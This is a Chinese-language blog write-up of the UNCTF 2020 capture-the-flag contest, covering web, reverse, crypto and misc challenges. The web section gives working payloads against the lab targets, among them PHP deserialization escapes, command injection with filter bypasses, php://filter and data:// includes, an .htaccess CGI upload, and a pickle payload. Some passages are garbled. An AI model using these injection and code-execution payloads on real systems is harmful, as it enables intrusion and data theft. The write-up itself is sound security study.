UNCTF 2020 WP

UNCTF 2020 WP

WEB

easy_ssrf

image-20201112093943253

由题ssrf,且代码过滤了很多重要手段。这里可以直接/?url=unctf.com/…/…/…/…/flag。直接…/穿越读flag。

easyunserialize
 <?php
error_reporting(0);
highlight_file(__FILE__);

class a
{
    public $uname;
    public $password;
    public function __construct($uname,$password)
    {
        $this->uname=$uname;
        $this->password=$password;
    }
    public function __wakeup()
    {
            if($this->password==='easy')
            {
                include('flag.php');
                echo $flag;    
            }
            else
            {
                echo 'wrong password';
            }
        }
    }

function filter($string){
    return str_replace('challenge','easychallenge',$string);
}

$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>
wrong password

是反序列化字符串逃逸,这篇文章具体谈了相关逃逸的规则 php反序列化字符串逃逸

__wakeup()函数里判断password是否等于easy,是的话输出flag。

但是password我们不可控,发现有个filter函数把我们序列化后的字符串进行了替换,且替换后长度增加了,可以吧反序列化的password往后顶然后自己构造一个password的序列化字符串从而控制password。数一下我们要顶掉的字符串长度(我们自己构造的控制passwoed反序列化的字符串),";s:8:"password";s:4:"easy";}为29个字符长度。每构造一个challenge可以顶掉4个所以我们要构造8个challenge字符串。然后后面补充3个字符,以填补多出来的位置
 payload:`?1=challengechallengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";}aaa
ezphp
 <?php
show_source(__FILE__);
$username  = "admin";
$password  = "password";
include("flag.php");
$data = isset($_POST['data'])? $_POST['data']: "" ;
$data_unserialize = unserialize($data);
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
    echo $flag;
}else{
    echo "username or password error!";
}
username or password error!

核心在第8行,是一个弱比较类型。网上查到一个 布尔反序列化 看了一下,又学到了。

这里是两个==,根据php弱类型,bool值和任何字符串都为相等,即可以构造username和password的值为bool。可以构建username和password的数组,其值可为bool的ture值。代码为

<?php
$data=[
    'username'=>true,
    'password'=>true,
];
$p1=serialize($data);
echo $p1;
//$p2=unserialize($p1);
?>输出a:2:{s:8:"username";b:1;s:8:"password";b:1;}

最后payload:post/ data=a:2:{s:8:“username”;b:1;s:8:“password”;b:1;}

easyflask

考点

  1. flask session伪造
  2. flask ssti

因为python没怎么学,flask更不懂。暂时看不懂。等后期集中对flask做一次笔记。

babyeval

打开链接。image-20201112212634412

  1. 不能利用带有括号的函数→利用echo输出内容。
  2. 输出内容中不能有flag→利用编码绕过

php代码首先过滤(),然后ob_start读数据。然后strpos()函数读取 d a t a 中 存 在 ′ f l a g ′ 字 符 串 , 读 取 不 存 在 就 e v a l ( data中存在'flag'字符串,读取不存在就eval( dataflag,eval(_GET[‘a’]);

ob_start — 打开输出控制缓冲。当缓冲区激活时,所有来自PHP程序的非文件头信息均不会发送,而是保存在内部缓冲区。

strpos — 查找字符串首次出现的位置。strpos() 函数对大小写敏感。image-20201112214335815

过滤了括号基本所有的函数都用不了,想要执行命令还可以用反引号``.构造paylaod:?a=echo%20cat%20flag.php; ,发现被拦截,用base64绕过。?a=echo%20`cat%20flag.php|base64`;
这里是看博客的一个思路解的。
然后还有
**%0a**绕过。---/?a=system(%27%0acat%20f*%20|%20base64%27);
利用include函数加php伪协议。---/a=include%20%27php://filter/convert.base64-encode/resource=./flag.php%27;

PD9waHAKICAgICRmbGFnPSdGTEFHe2UzMDQxYjg5LWQ0YTctNDcyNy04NmFjLWM1MDgyY2UxYTM0 OX0nOwogICAgPz4KCgo=

image-20201117200622137
easy_upload
  • .htaccess文件利用(扩展:去年的susctf考察了user.ini利用、17 XMAN选拔赛的upload)
  • \ Linux环境下 htaccess对cgi的利用

过滤

perl|pyth|ph|auto|curl|base|\|>|rm|ryby|openssl|war|lua|msf|xter|telnet in contents!

解题思路:上传.htaccess,开启cgi支持,上传cgi脚本,执行cgi脚本,输出flag

具体原理参照网址:https://xz.aliyun.com/t/8267#toc-0

首先上传文件:上传.htaccess 。文件内容如下

ptions +ExecCGI
AddHandler cgi-script .xx

bp抓包改文件类型为图片类型。image-20201119193123262

把回显的dir保存下来。

然后再在Linux下写cgi脚本,以下内容

#!/bin/bash
echo "Content-Type: text/plain"
echo ""
cat /flag
exit 0

上传cgi脚本,流程和.htaccess一致,但注意,cgi脚本最好在linux系统下编写,直接在bp里面改内容有可能出错,cgi脚本根据.htaccess的保存后缀,个人保存为2.xx

上传成功后,访问2.xx文件路径得到flag:

UN’s_online_tools

image-20201119132500429

根据题目就知道ping命令。应该是ping命令注入。测试了一下,过滤了flag,&,空格,flag,cat,;

执行一下127.0.0.1|ls发现存在这两个文件index.php style.css

因为过滤了cat,这里尝试用less–127.0.0.1|less<index.php 127.0.0.1|less<style.css

后来发现过滤的还挺多的

?php
            if (isset($_GET['url'])){
                $ip=$_GET['url'];
                if(preg_match("/(;|'| |>|]|&| |\\$|\\|rev|more|tailf|head|nl|tail|tac|cat|rm|cp|mv|\*|\{)/i", $ip)){
                    die("<strong><center>非法字符</center></strong>");
                }
                if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
                    die("<strong><center>非法字符</center></strong>");
                }
                $a = shell_exec("ping -c 4 ".$ip);
                echo($a);
            }else{
                echo "<script>alert('欢迎来到UN`s online tools 如果师傅觉得题目不适合您,可以出门左拐')</script>";
            }
?>

没有实质性收获。可能会用到目录穿越。因空格被过滤,可以使用%09(tab)来代替空格

首先利用get传127.0.0.1|ls%09…/…/…/&GO=GO

image-20201119141115091

开始怎么搞目录都穿不出来,后来抓包将cookie值删掉才出来。这下发现flag目录。

读取flag(用通配符?来匹配) url=127.0.0.1%7Cless%09…/…/…/f???&GO=GOimage-20201119141958417

这里还听说可以用base64编码绕过 url=127.0.0.1|echo%09Y2F0IC9mbGFn|base64%09-d|sh&GO=GO

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-GNE9gezL-1615471491921)(D:\笔记\md图片\image-20201119142142556.png)]

L0vephp

打开提示源码。然后最后有一串字符,是B4Z0-@:OCnDf,结果是base85加密。解码是提示(get action)

get传参action。利用PHP伪协议

?action=php://filter/read=convert.base64-encode/resource=flag.php
尝试base64编码,发现被拦截。从网上得知可以用rot13编码
payload:?action=php://filter/string.rot13/resource=flag.php

源码发现多了一些东西,rot13解码后给出hint。是16进制码。再转换成文本提示1nD3x.php

打开后就发现过滤了一大堆东西

 <?php 

error_reporting(0);
show_source(__FILE__);
$code=$_REQUEST['code'];

$_=array('@','\~','\^','\&','\?','\<','\>','\*','\`','\+','\-','\'','\"','\\\\','\/'); 
$__=array('eval','system','exec','shell_exec','assert','passthru','array_map','ob_start','create_function','call_user_func','call_user_func_array','array_filter','proc_open');
$blacklist1 = array_merge($_);
$blacklist2 = array_merge($__);

if (strlen($code)>16){
    die('Too long');
}

foreach ($blacklist1 as $blacklisted) { 
    if (preg_match ('/' . $blacklisted . '/m', $code)) { 
        die('WTF???'); 
    } 
} 

foreach ($blacklist2 as $blackitem) {
    if (preg_match ('/' . $blackitem . '/im', $code)) {
        die('Sry,try again');
    }
}
@eval($code);
?> 

网上说可以利用远程文件包含

大佬的payload:?code=include$_GET[1];&1=data://text/plain,<?php system('cat /flag_mdnrvvldb');

然后flag就出来了

官方就是利用变长参数特性展开数组,具体参照这篇文章https://www.leavesongs.com/PHP/bypass-eval-length-restrict.html#_1

?1[]=test&1[]=system(%27ls%20/%27);&2=assert

POST

code=usort(...$_GET);
然后就查到flag_mdnrvvldb。应该就在里面,直接改命令即可。
ezfind

if(!(is_file($name)===false)){flag}else{no flag}

这是题目提示代码。使用数组绕过

根据提示构造 ?name[]=

从而输出flag

easyphp
 <?php

$adminPassword = 'd8b8caf4df69a81f2815pbcb74cd73ab';
if (!function_exists('fuxkSQL')) {
    function fuxkSQL($iText)
    {
        $oText = $iText;
        $oText = str_replace('\\\\', '\\', $oText);
        $oText = str_replace('\"', '"', $oText);
        $oText = str_replace("\'", "'", $oText);
        $oText = str_replace("'", "''", $oText);
        return $oText;
    }
}
if (!function_exists('getVars')) {
    function getVars()
    {
        $totals = array_merge($_GET, $_POST);
        if (count($_GET)) {
            foreach ($_GET as $key => $value) {
                global ${$key};
                if (is_array($value)) {
                    $temp_array = array();
                    foreach ($value as $key2 => $value2) {
                        if (function_exists('mysql_real_escape_string')) {
                            $temp_array[$key2] = fuxkSQL(trim($value2));
                        } else {
                            $temp_array[$key2] = str_replace('"', '\"', str_replace("'", "\'", (trim($value2))));
                        }
                    }
                    ${$key} = $_GET[$key] = $temp_array;
                } else {
                    if (function_exists('mysql_real_escape_string')) {
                        ${$key} = fuxkSQL(trim($value));
                    } else {
                        ${$key} = $_GET[$key] = str_replace('"', '\"', str_replace("'", "\'", (trim($value))));
                    }
                }
            }
        }
    }
}

getVars();
if (isset($source)) {
    highlight_file(__FILE__);
}

//只有admin才能设置环境变量
if (md5($password) === $adminPassword && sha1($verif) == $verif) {
    echo 'you can set config variables!!' . '</br>';
    foreach (array_keys($GLOBALS) as $key) {
        if (preg_match('/var\d{1,2}/', $key) && strlen($GLOBALS[$key]) < 12) {
            @eval("\$$key" . '="' . $GLOBALS[$key] . '";');
        }
    }
} else {
    foreach (array_keys($GLOBALS) as $key) {
        if (preg_match('/var\d{1,2}/', $key)) {
            echo ($GLOBALS[$key]) . '</br>';
        }
    }
} 
  1. 变量覆盖
  2. php弱类型 爆破sha1,md5弱类型
  3. php复杂变量getshell

根据wp也提到。这是PHP7。没有mysql_real_escape_string函数。所以中间那一段读取两个else就可以了,就是对单引号和双引号进行了一个转义。

1、变量覆盖

$adminPassword = 'd8b8caf4df69a81f2815pbcb74cd73ab';   //这里它不是一个md5值
foreach ($_GET as $key => $value) {
  global ${$key};
}//这个功能可以将$_GET中的键值直接转为变量类似于 xxx?password=1 那么就能覆盖$admin变量。
md5($password) === $adminPassword //直接将$password覆盖为任意值,然后将$adminPassword覆盖为其md5值

2、弱类型

 sha1($verif) == $verif

这里就是一个sha1的弱比较。0e开头的都是零。直接找出任意0exxx的变量的sha1还是0exxx就可以了。具体就参照官方wp脚本如下

<?php
for ($i5 = 0; $i5 <= 9999999999; $i5++) {
    $res = '0e' . $i5;
    //0e1290633704
    if ($res == hash('sha1', $res)) {
        print_r($res);
    }
}

3、php复杂变量

foreach (array_keys($GLOBALS) as $key) {
        if (preg_match('/var\d{1,2}/', $key) && strlen($GLOBALS[$key]) < 12) {
            @eval("\$$key" . '="' . $GLOBALS[$key] . '";');
        }
    }
  • 这段是将设置var开头,后面带1到2个数字变量的值,类似于var1=xxx;这样的
  • 由于变量覆盖的环节限制了单双引号的输入,所以这里的解法为利用php复杂变量
首先是自定义password=1,然后取对应的md5值。其次就是弱比较就取为verif=0e1290633704。一个很好的思路。限制了单双引号的输入,可以利用php复杂变量来实现代码的实现var1={$_GET[1]}&var3=${$var1()}&1=phpinfo。调用探针查看基本信息,结果搜索出来有flag

?source&adminPassword=c4ca4238a0b923820dcc509a6f75849b&password=1&verif=0e1290633704&var1={$_GET[1]}&var3=${$var1()}&1=phpinfo
easy_flask2

主要的考点是: 使用 pickle 控制 secret_key。

题目中过滤了 R 操作符,无法直接简单的 RCE 。但是并不是不能 RCE ,这里不详细谈。我们这里说一下使用 c 操作符控制 config.secret_key 。

\x80\x03c__main__\nconfig\n}(Vsecret_key\nVcioier\nub0c__main__\nPerson\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03X\x07\x00\x00\x00Cxloverq\x04X\x08\x00\x00\x00is_adminq\x05K\x01ub.

不多说,学python去了。

REVERSE

re_checkin

下载,用IDA打开。听题目很简单,误打误撞吧,打开十六进制视图

发现flag藏在这里面,怎么说,从u开始,没隔一个大距离取其值。就是unctf{WelcomeToUNCTF}

CRYPTO

躲猫猫

image-20201117174811690

下载打开,找到这个编码复制base64一下,就是flag了

鞍山大法官开庭之缺的营养这一块怎么补

将o转为a,转为b,就是培根密码解出来就是答案。

wing

下载附件。image-20201112112734155

由题目wing和提示二级office。打开word,发现wingdings2字体正与之对应。

image-20201112112820379

输出所以可能出现的字符,与之对应改为正常字体就是flag了。

MISE

baba_is_you

下载压缩包解压,一张图片,用记事本打开,发现最底部有一个网址。打开发现评论区有flag.

image-20201107102055646

image-20201107102148762

躲猫猫

image-20201117174811690

下载打开,找到这个编码复制base64一下,就是flag了

爷的历险记

打开游戏,玩了一下,发现很多套路,要一步一步跟着系统走,解了base64和摩斯密码后,拿宝箱打了第一个怪拿了第一个假flag,然后发现后面还有2个boss。有点烦了,打开游戏文件找boss的数值,

image-20201107163303578

改成跟小怪一样的数据。直接打最后一个boss拿到flag。UNCTF{WelC0me_70_UNCTF2oZ0~}

image-20201107163651177
阴阳人编码
`这就.`对应`Ook.`,`就这¿`对应`Ook?`,`不会吧!`对应`Ook!`,替换后解码得到flag
撕坏的二维码

用QR_Research打开图片,直接扫描得flag

YLB’s CAPTCHA - 签到题

直接看图片,看不清可以用Stegsolve.jar直接打开调整色图看。

你能破解我的密码吗

/etc/shadow 文件,用于存储 Linux 系统中用户的密码信息,又称为“影子文件”。

打开看有一个md5加密的密码信息,

$1$AH$xtjky.3kppbU27tR0SDJT.:18556:0:99999:7:::

复制,md5(salt)解码得123456

零宽字符隐写。http://330k.github.io/misc_tools/unicode_steganography.html这个网址直接解密。

被删除的flag

下载打开,搜索unctfimage-20201117192559985

倒影

下载文件,winhex打开,FF D8 FF E0文件头,为jpg。然后最后面有一串base64编码。解码发现

0000000000B4000000A500100010000000006050B405106D6A9EA24E5767106D7AD58AC22940106D7AD58AC229400081001000000000000200A0478747E27616C666000000000000000200000000000000420080000000910000005297D4535E1555E5C90000801000A000F32010B405B4ECC7E9889EDF1BA30C6FF71836EBCFE9A735EFD6E501CE14109505827764B69DC37C6E2E478747E27616C66600000080000000910000005297D4535E1555E5C90000801000A04030B405

倒过来,发现50 4B 03 04是zip文件头,全部倒着输出来。然后用winhex写入这一串再改后缀zip。发现加密。wp上说明可以暴力破解为658745。打开就可以看到flag了

网络深处1

拨号音:使用工具dtmf2num得到电话号码。

然后打开另一个文件,使用工具audacity检查电话录音,可以在频谱图中看到提示NrJvwwH6vq7wZ5UF

然后查到是塔珀自指公式(Tupper’s self-referential formula)

在线转化的网址:https://tuppers-formula.ovh/

bashsecret

报错使sha值为空

第二个输入空则可以使得判断相等

唯一注意报错时候 所带的指令cat可以执行即可。

ET-msg

打开文件,特定行列数就可以看到关键信息

YX6KQykGZIj7LnxZ

这个计数就很离谱,这个直接对应ASCII码就可以了。

EZ_IMAGE

montage unctf*.jpg -tile 15x15 -geometry 60x60+0+0 test.jpg

gaps --image=test.jpg --generation=30 --population=300 --size=60

g

mouse_click

利用wiresharks的tshark模块。

kali----tshark -r mouse_click.pcapng -T fields -e usb.capdata | sed '/^\s*$/d' > usbdata.txt
windows---tshark.exe -r "根目录\mouse_click\mouse_click.pcapng" -T fields -e usb.capdata >"根目录\mouse_click\mouse_click.txt"

取出鼠标流量,并去除空行

EN34irdSZ0wkE8Jw以下是脚本(官方wp的)

import matplotlib.pyplot as plt
fi = open("mouse_click.txt","r")
x = 0
y = 0
click_point = []
for line in fi:
if len(line) != 12:
continue
x_offset = int(line[3:5],16)
y_offset = int(line[6:8],16)
if x_offset > 127 :
x_offset -= 256
if y_offset >127 :
y_offset -=256
x += x_offset
y += y_offset
if line[0:2]=="01":
click_point.append((x,y))
fi.close()
plt.gca().invert_yaxis()
for i in range(len(click_point)):
plt.plot(click_point[i][0], click_point[i][1], "o")
plt.show()

数据流量包是USB流量包 -> USB流量包分析 -> tshark

USB数据是8字节 -> 键盘USB流量分析 ->

USB数据是4字节 ->鼠标USB流量分析 ->

总结

以上综合官方和一些大佬的wp及我自己的理解。需要学得太多,所以也边学边写这个wp,算是记录,也为了之后看能更加明白一点,

重点说一下web,感觉自己还是有很多路要走,也要弄懂一些原理。接下来就抽空学学python了。边学边刷题吧。

  • 3
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 10
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 10
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值